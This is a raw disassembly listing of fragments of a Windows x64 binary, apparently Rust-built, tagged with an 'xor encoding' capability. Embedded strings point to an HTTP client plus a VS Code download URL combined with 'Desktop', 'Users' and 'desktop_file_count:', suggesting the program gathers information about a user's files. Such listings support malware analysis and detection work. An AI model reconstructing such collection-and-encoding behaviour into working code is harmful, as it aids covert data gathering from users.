Function at 0x1400a9720
Capabilities:
Encode data using xor

Disassembly:
nop
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add byte [rdx + 1], bh
xor r8d, r8d
jmp 0x140001ea3
add r8, 4
movd xmm1, dword [r11]
add r11, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, r10
test bl, 2
cmovne r8, rsi
test bl, 4
cmovne r8, rax
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
add bpl, bl
and bpl, 0xf
movzx ebx, bpl
add rdx, rbx
add rdi, 0xfffffffffffffffc
jne 0x140001d50
mov rsi, rcx
test r9, r9
je 0x140001ed2
xor eax, eax
nop word cs:[rax + rax]
inc r8
xor ecx, ecx
cmp byte [r11 + rax], 0xa
mov r10d, 0
cmove r8, r10
sete cl
add rdx, rcx
inc rax
cmp r9, rax
jne 0x140001de0
jmp 0x140001ed2
mov rsi, rcx
test r10, r10
je 0x140001ed2
xor eax, eax
nop dword [rax]
inc r8
xor ecx, ecx
cmp byte [r9 + rax], 0xa
mov r11d, 0
cmove r8, r11
sete cl
add rdx, rcx
inc rax
cmp r10, rax
jne 0x140001eb0
lea rcx, [rsp + 0x28]
call fcn.14010bc50
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140001cb6
mov rax, qword [rdi]
test rax, rax
je 0x14000385b
lock dec qword [rax]
jne 0x14000385b
mov rcx, rdi
call fcn.1400069c0
mov rdi, qword [rsi + 0x90]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x14000389b
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x14000389b
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400038ce
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
xor edx, edx
xchg byte [rdi + 0xa0], dl
test rax, rax
je 0x1400038ce
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400038e0
mov rcx, qword [rsi + 0x90]
call fcn.1400378a0
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x140003972
mov rax, qword [rsi]
cmp rax, 2
je 0x140003960
test rax, rax
mov rdi, qword [rsi + 8]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x14000392d
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x14000392d
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140003951
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x140003951
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140003960
mov rcx, qword [rsi + 8]
call fcn.140035430
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
and al, 0x58
call qword [rax + 0x10]
jmp 0x140003845
invalid
movabs rax, 0x200000000
lock or qword [rcx + 0x2310], rax
mov rax, qword [r15 + 0x110]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x110], rcx
jne 0x140006190
test rax, rax
jne 0x1400061d1
mov rax, qword [r15 + 0x100]
mov rcx, qword [r15 + 0x108]
mov qword [r15 + 0x100], 0
lock and qword [r15 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400061d1
call qword [rax + 8]
lock dec qword [r15]
jne 0x1400061df
mov rcx, rbx
call fcn.1400066b0
mov rbx, qword [rdi + 0x18]
test rbx, rbx
je 0x140006217
mov rcx, qword [rdi + 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x140006201
mov rcx, qword [rdi + 0x18]
call fcn.140048f00
mov rax, qword [rdi + 0x20]
lock dec qword [rax]
jne 0x140006217
add rdi, 0x20
mov rcx, rdi
call fcn.1400e4f50
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x14000624c
lock dec qword [r8 + 8]
jne 0x14000624c
mov rcx, qword [0x14017d208]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ebp, ebp
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], r12
je 0x14000616e
mov r14, rcx
mov rcx, qword [rcx + 0x2308]
test rcx, rcx
jne 0x140006350
mov r13, qword [rax]
movzx eax, byte [0x14017d2b0]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400063b9
mov rcx, rax
add r13, 0x20
mov qword [rax + 0x2300], r13
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [r14 + 0x2308], rcx
invalid
je 0x140006350
add byte [rcx + rbx*2 + 0x48], dh
mov edx, eax
mov rdx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [rcx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rdx + 0x2308], rcx
je 0x140006344
mov r8, rax
nop dword [rax]
pause
mov rax, qword [r8 + 0x2300]
add rax, 0x20
mov qword [rcx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [r8 + 0x2308], rcx
mov r8, rax
jne 0x140006320
mov rcx, rdx
nop word [rax + rax]
mov rax, qword [r14 + 0x2310]
cmp eax, 0xffffffff
sete al
test bpl, al
je 0x140006280
mov rax, r14
lock cmpxchg qword [r15 + 0x80], rcx
jne 0x140006280
mfence
mov rax, qword [r15 + 0x88]
mov qword [r14 + 0x2318], rax
movabs rax, 0x100000000
lock or qword [r14 + 0x2310], rax
mov bpl, 1
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], r12
jne 0x140006298
jmp 0x14000616e
mov ecx, 8
mov edx, 0x2320
call fcn.140104380
int3
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x44
and al, 0x38
jne 0x14000712e
mov rax, qword [rsp + 0x40]
and al, 0x40
mov qword [rsp + 0x98], rax
mov eax, 2
jmp 0x14000722f
mov dword [rsp + 0x184], 0
mov dword [rsp + 0x181], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], 8
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 2
mov qword [rsp + 0x108], 0
mov word [rsp + 0x110], 0
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movups xmm3, xmmword [rsp + 0x58]
movups xmm4, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x118], xmm1
movups xmmword [rsp + 0x128], xmm2
movups xmmword [rsp + 0x138], xmm3
movups xmmword [rsp + 0x148], xmm4
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x158], xmm1
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0x178], 0x3b9aca00
mov byte [rsp + 0x180], 1
movups xmmword [rsp + 0x188], xmm0
mov byte [rsp + 0x198], 2
mov qword [rsp + 0x1a0], 2
xor eax, eax
mov qword [rsp + 0x90], rax
lock inc qword [rbx]
jle 0x140007291
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x48], edi
lea rdi, [rsp + 0x238]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0x90]
mov rcx, rdi
call fcn.1400c5330
mov rcx, rsi
mov rdx, rdi
call fcn.1400c5650
lock dec qword [rbx]
jne 0x140007283
lea rcx, [rsp + 0x20]
call fcn.140006100
nop
add rsp, 0x388
pop rbx
pop rdi
pop rsi
pop r14
ret
ud2
mov r8, qword [rbp + 0x658]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140009ad5
mov rdi, rax
mov qword [rax], rsi
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140009ac6
mov r14, rax
movabs rax, 0x8000000000000000
mov qword [r14], rax
mov qword [r14 + 0x58], rdi
lea rax, fcn.140002c10
mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 5
xor edi, edi
jmp 0x1400093e9
xor r8d, r8d
mov edx, 1
jmp 0x140008d64
lea rcx, [rbp + 0x6e0]
call fcn.14010bc50
mov r14, rax
jmp 0x140008e9f
lea rcx, [rbp + 0x5b0]
call fcn.140002250
xor edi, edi
inc byte [rbp + 0x680]
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x670]
mov rcx, qword [rbp + 0x678]
cmp rcx, r9
jae 0x140008f0a
mov rdx, qword [rbp + 0x678]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rcx]
cmp r8, 0x2c
ja 0x140008f98
bt r13, r8
jae 0x140008f4b
inc rcx
mov rdx, rcx
cmp r9, rcx
jne 0x140008ee0
mov qword [rbp + 0x678], rcx
mov rcx, r9
mov qword [rbp + 0x6e0], 3
inc rcx
cmp r9, rcx
cmovb rcx, r9
test rcx, rcx
jne 0x140008f31
mov edx, 1
xor r8d, r8d
jmp 0x1400092d4
mov r9d, ecx
and r9d, 3
cmp rcx, 4
jae 0x140008fb3
mov edx, 1
xor r8d, r8d
jmp 0x140009055
cmp r8, 0x2c
jne 0x140008f98
lea r8, [rcx + 1]
cmp r9, r8
cmovb r8, r9
mov qword [rbp + 0x678], rdx
mov qword [rbp + 0x6e0], 0x15
inc rcx
je 0x1400090aa
mov qword [rbp + 0x700], r14
mov r14, r8
cmp r8, 4
jae 0x1400090d8
mov edx, 1
xor r8d, r8d
jmp 0x14000918c
cmp r8d, 0x7d
jne 0x140009088
inc rcx
mov qword [rbp + 0x678], rcx
xor eax, eax
jmp 0x1400092e0
and rcx, 0xfffffffffffffffc
mov r10d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov edx, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, r11
test bl, 2
cmovne r8, rsi
test bl, 4
cmovne r8, r10
test bl, 8
mov r15d, 0
cmovne r8, r15
mov r15d, ebx
shr r15b, 1
and r15b, 5
sub bl, r15b
mov r15d, ebx
and r15b, 0x33
shr bl, 2
and bl, 0x33
add bl, r15b
mov r15d, ebx
shr r15b, 4
add r15b, bl
and r15b, 0xf
movzx ebx, r15b
add rdx, rbx
add rcx, 0xfffffffffffffffc
jne 0x140008fe0
test r9, r9
je 0x1400092d4
xor ecx, ecx
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x140009060
jmp 0x1400092d4
lea r8, [rcx + 1]
cmp r9, r8
cmovb r8, r9
mov qword [rbp + 0x678], rdx
mov qword [rbp + 0x6e0], 0x16
inc rcx
jne 0x1400090b7
xor r8d, r8d
mov edx, 1
jmp 0x1400092d4
mov qword [rbp + 0x700], r14
mov r14, r8
cmp r8, 4
jae 0x1400091d9
mov edx, 1
xor r8d, r8d
jmp 0x14000928c
cmp r9, rcx
mov r11, rcx
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ebx, 3
mov r15d, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r12d, xmm1
test r12b, 1
cmovne r8, rbx
test r12b, 2
cmovne r8, r15
test r12b, 4
cmovne r8, rsi
test r12b, 8
mov r10d, 0
cmovne r8, r10
mov r10d, r12d
shr r10b, 1
and r10b, 5
sub r12b, r10b
mov r10d, r12d
and r10b, 0x33
shr r12b, 2
and r12b, 0x33
add r12b, r10b
mov r10d, r12d
shr r10b, 4
add r10b, r12b
and r10b, 0xf
movzx r10d, r10b
add rdx, r10
add r11, 0xfffffffffffffffc
jne 0x140009110
test r14b, 3
mov r14, qword [rbp + 0x700]
je 0x1400092d4
cmp r9, rcx
cmovb rcx, r9
and ecx, 3
xor r9d, r9d
nop word [rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400091b0
jmp 0x1400092d4
cmp r9, rcx
mov r11, rcx
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ebx, 3
mov r15d, 2
mov edx, 1
nop word [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r12d, xmm1
test r12b, 1
cmovne r8, rbx
test r12b, 2
cmovne r8, r15
test r12b, 4
cmovne r8, rsi
test r12b, 8
mov r10d, 0
cmovne r8, r10
mov r10d, r12d
shr r10b, 1
and r10b, 5
sub r12b, r10b
mov r10d, r12d
and r10b, 0x33
shr r12b, 2
and r12b, 0x33
add r12b, r10b
mov r10d, r12d
shr r10b, 4
add r10b, r12b
and r10b, 0xf
movzx r10d, r10b
add rdx, r10
add r11, 0xfffffffffffffffc
jne 0x140009210
test r14b, 3
mov r14, qword [rbp + 0x700]
je 0x1400092d4
cmp r9, rcx
cmovb rcx, r9
and ecx, 3
xor r9d, r9d
nop word cs:[rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400092b0
lea rcx, [rbp + 0x6e0]
call fcn.14010bc50
mov qword [rbp + 0x5b0], rdi
mov qword [rbp + 0x5b8], r14
movdqa xmm0, xmmword [rbp + 0x520]
movaps xmm1, xmmword [rbp + 0x530]
movdqu xmmword [rbp + 0x5c0], xmm0
movups xmmword [rbp + 0x5d0], xmm1
mov qword [rbp + 0x5e0], rax
test rdi, rdi
je 0x14000956e
test rax, rax
jne 0x140009581
movdqa xmm0, xmmword [rbp + 0x520]
movaps xmm1, xmmword [rbp + 0x530]
movdqu xmmword [rbp + 0x568], xmm0
movups xmmword [rbp + 0x578], xmm1
mov qword [rbp + 0x558], rdi
mov qword [rbp + 0x560], r14
mov r9, qword [rbp + 0x670]
mov rax, qword [rbp + 0x678]
cmp rax, r9
jae 0x1400093ab
mov rcx, qword [rbp + 0x668]
mov rdx, qword [rbp + 0x678]
nop word cs:[rax + rax]
movzx r8d, byte [rcx + rax]
cmp r8, 0x20
ja 0x1400095b5
bt r13, r8
jae 0x1400095b5
inc rax
mov rdx, rax
cmp r9, rax
jne 0x140009380
mov qword [rbp + 0x678], rax
lea rax, [rbp + 0x568]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x230], xmm1
movdqa xmmword [rbp + 0x220], xmm0
cmp qword [rbp + 0x650], 0
je 0x1400093e9
mov r8, qword [rbp + 0x658]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x500]
mov rax, qword [rbp + 0x4e8]
mov rdx, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x4f8]
call qword [rax + 0x10]
test rdi, rdi
je 0x14000942d
movdqa xmm0, xmmword [rbp + 0x220]
movaps xmm1, xmmword [rbp + 0x230]
movaps xmmword [rbp + 0x250], xmm1
movdqa xmmword [rbp + 0x240], xmm0
jmp 0x14000942f
xor edi, edi
mov rax, qword [rbp + 0x598]
mov rcx, qword [rbp + 0x5a0]
call qword [rax + 0x18]
test rdi, rdi
je 0x140009483
mov rax, qword [rbp + 0x5a8]
mov qword [rax], rdi
mov qword [rax + 8], r14
movdqa xmm0, xmmword [rbp + 0x240]
movaps xmm1, xmmword [rbp + 0x250]
movdqu xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
mov rbx, qword [rbp + 0x508]
mov rsi, qword [rbx + 0xa8]
test rsi, rsi
jne 0x1400094f3
jmp 0x140009523
test r14, r14
jne 0x1400094ce
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140009ac6
mov r14, rax
movabs rax, 0x8000000000000000
mov qword [r14], rax
mov qword [r14 + 0x58], 1
lea rax, [0x14010fbd8]
mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 5
mov rax, qword [rbp + 0x5a8]
mov qword [rax + 8], r14
mov qword [rax], 0
mov rbx, qword [rbp + 0x508]
mov rsi, qword [rbx + 0xa8]
test rsi, rsi
je 0x140009523
mov rdi, qword [rbx + 0xb0]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140009523
cmp qword [rdi + 0x10], 0x11
jb 0x140009511
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx + 0xb8]
test rax, rax
je 0x140009544
lock dec qword [rax]
jne 0x140009544
add rbx, 0xb8
mov rcx, rbx
call fcn.140006100
movaps xmm6, xmmword [rbp + 0x710]
movaps xmm7, xmmword [rbp + 0x720]
movaps xmm8, xmmword [rbp + 0x730]
add rsp, 0x7c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test rax, rax
je 0x140009590
lea rcx, [rbp + 0x5e0]
call fcn.140002c10
jmp 0x140009590
lea rcx, [rbp + 0x5b0]
mov r14, rax
call fcn.140002250
lea rdx, [rbp + 0x650]
mov rcx, r14
call fcn.1401037e0
mov rsi, rax
cmp qword [rbp + 0x650], 0
jne 0x1400087dd
jmp 0x1400087f3
lea r10, [rax + 1]
cmp r9, r10
cmovb r10, r9
mov qword [rbp + 0x678], rdx
mov qword [rbp + 0x5b0], 0x16
inc rax
jne 0x1400095e4
xor r8d, r8d
mov edx, 1
jmp 0x140009724
cmp r10, 4
jae 0x140009640
mov edx, 1
xor r8d, r8d
jmp 0x1400096ec
cmp r9, rax
mov r11, rax
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps r14d, xmm1
test r14b, 1
cmovne r8, rdi
test r14b, 2
cmovne r8, rbx
test r14b, 4
cmovne r8, rsi
test r14b, 8
mov r15d, 0
cmovne r8, r15
mov r15d, r14d
shr r15b, 1
and r15b, 5
sub r14b, r15b
mov r15d, r14d
and r15b, 0x33
shr r14b, 2
and r14b, 0x33
add r14b, r15b
mov r15d, r14d
shr r15b, 4
add r15b, r14b
and r15b, 0xf
movzx r14d, r15b
add rdx, r14
add r11, 0xfffffffffffffffc
jne 0x140009670
test r10b, 3
je 0x140009724
cmp r9, rax
cmovb rax, r9
and eax, 3
xor r9d, r9d
nop
inc r8
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rax, r9
jne 0x140009700
lea rcx, [rbp + 0x5b0]
call fcn.14010bc50
mov rsi, rax
lea rcx, [rbp + 0x558]
call fcn.140002250
cmp qword [rbp + 0x650], 0
jne 0x1400087dd
jmp 0x1400087f3
lea r9, [r12 + 1]
cmp rsi, r9
cmovb r9, rsi
mov qword [rbp + 0x6e0], 8
inc r12
je 0x140008887
cmp r9, 4
jae 0x14000996b
mov edx, 1
xor r8d, r8d
jmp 0x140009a0e
cmp rsi, r12
mov r10, r12
cmovb r10, rsi
and r10, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov ecx, 3
mov edi, 2
mov edx, 1
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, rcx
test bl, 2
cmovne r8, rdi
test bl, 4
cmovne r8, r11
test bl, 8
mov r14d, 0
cmovne r8, r14
mov r14d, ebx
shr r14b, 1
and r14b, 5
sub bl, r14b
mov r14d, ebx
and r14b, 0x33
shr bl, 2
and bl, 0x33
add bl, r14b
mov r14d, ebx
shr r14b, 4
add r14b, bl
and r14b, 0xf
movzx ebx, r14b
add rdx, rbx
add r10, 0xfffffffffffffffc
jne 0x140009999
test r9b, 3
je 0x140008d64
cmp rsi, r12
cmovb r12, rsi
and r12d, 3
xor r9d, r9d
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp r12, r9
jne 0x140009a26
jmp 0x140008d64
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov ecx, 8
mov edx, 8
call fcn.140104380
mov ecx, 1
mov rdx, qword [rbp + 0x6f8]
call fcn.140104360
lea rax, str.overflow_in_Duration::new
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], 1
lea rax, [0x14016f768]
mov qword [rbp + 0x270], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rbp + 0x260]
call fcn.140104620
mov ecx, 1
mov rdx, qword [rbp + 0x6d0]
call fcn.140104360
int3
lea rcx, [rbp + 0x360]
mov rdx, rsi
mov r8, qword [rbp + 0x8c0]
call fcn.1400ba690
cmp qword [rbp + 0x360], 4
jne 0x14000bf5b
mov byte [r12], 3
mov bl, 3
mov sil, 1
mov byte [r14 + 0x148], bl
mov eax, esi
movaps xmm6, xmmword [rbp + 0x8f0]
add rsp, 0x988
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r12, [r14 + 0x140]
mov byte [r14 + 0x140], 0
lea rsi, [rbp + 0x510]
mov rcx, rsi
call fcn.14004f500
mov rcx, rsi
call fcn.14004ff50
mov rsi, rdx
test rax, rax
jne 0x14000bba5
mov qword [r14], rsi
jmp 0x14000bbd7
mov qword [rbp + 0x510], rsi
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x14013b978]
lea r8, [rbp + 0x510]
mov edx, 0xd
call fcn.1401049b0
lea rdx, str.https:__code.visualstudio.com_downloadDesktopUsers_desktop_file_count:
lea rcx, [rbp + 0x360]
mov r8d, 0x26
call fcn.14004ea20
mov rax, qword [rbp + 0x360]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000bc14
mov ecx, 2
mov rdx, qword [rbp + 0x368]
jmp 0x14000bc7b
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0x360]
movups xmm2, xmmword [rbp + 0x370]
movups xmm3, xmmword [rbp + 0x380]
movups xmm4, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x780], xmm1
movaps xmmword [rbp + 0x790], xmm2
movaps xmmword [rbp + 0x7a0], xmm3
movaps xmmword [rbp + 0x7b0], xmm4
movups xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x7c0], xmm1
mov rcx, qword [rbp + 0x3b0]
mov qword [rbp + 0x7d0], rcx
movaps xmmword [rbp + 0x7e0], xmm0
xor ecx, ecx
lock inc qword [rsi]
jle 0x14001032f
mov qword [rbp + 0x2e8], rsi
mov qword [rbp + 0x1d8], rcx
mov qword [rbp + 0x1e0], rdx
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x1e8], xmm0
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp + 0x200], 0
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x220], 8
movaps xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], 8
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], 2
mov qword [rbp + 0x250], 0
mov word [rbp + 0x258], 0
mov rcx, qword [rbp + 0x7d0]
mov qword [rbp + 0x2b0], rcx
movaps xmm0, xmmword [rbp + 0x7c0]
movups xmmword [rbp + 0x2a0], xmm0
movaps xmm0, xmmword [rbp + 0x780]
movdqa xmm1, xmmword [rbp + 0x790]
movdqa xmm2, xmmword [rbp + 0x7a0]
movaps xmm3, xmmword [rbp + 0x7b0]
movups xmmword [rbp + 0x290], xmm3
movdqu xmmword [rbp + 0x280], xmm2
movdqu xmmword [rbp + 0x270], xmm1
movups xmmword [rbp + 0x260], xmm0
mov dword [rbp + 0x2c0], 0x3b9aca00
mov byte [rbp + 0x2c8], 1
mov dword [rbp + 0x2c9], 0
mov dword [rbp + 0x2cc], 0
movdqa xmm0, xmmword [rbp + 0x7e0]
movdqu xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2e0], 2
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000bdee
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x330]
call fcn.1400bdde0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x330], rax
jne 0x14000be43
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbp + 0xa0], 2
jne 0x14000bee0
mov qword [rbp + 0x510], 2
mov rax, qword [rbp + 0xa8]
mov rsi, qword [rbp + 0x1b0]
mov qword [rbp + 0x518], rax
lock dec qword [rsi]
je 0x14000bf03
jmp 0x14000bf0f
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x20], xmm0
lea rsi, [rbp + 0x348]
lea rcx, [rbp + 0x360]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x4b8]
lea rdx, [rbp + 0x20]
mov r8, rsi
call fcn.1400be100
cmp dword [rbp + 0x360], 2
jne 0x14000c305
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x4d0]
mov rax, qword [rbp + 0x4b8]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
call qword [rax + 0x10]
cmp dword [rbp + 0xa0], 2
je 0x14000be14
mov rsi, qword [rbp + 0x1b0]
lea rcx, [rbp + 0x510]
lea r8, [rbp + 0xa0]
mov rdx, rsi
call fcn.140058bd0
lock dec qword [rsi]
jne 0x14000bf0f
lea rcx, [rbp + 0x1b0]
call fcn.1400bed50
lea rcx, [r14 + 8]
lea rdx, [rbp + 0x510]
mov r8d, 0x138
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [r14 + 8]
cmp dword [r14 + 8], 2
jne 0x14000b933
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x14000fb65
mov qword [rbp + 0x360], 3
mov qword [rbp + 0x368], rax
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x360]
mov r8d, 0x98
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140002f50
cmp dword [rbp + 0x800], 3
jne 0x14000c022
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], rbx
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de9c0
mov ecx, 3
call fcn.1400d6700
cmp dword [rbp + 0x800], 3
jne 0x14000c136
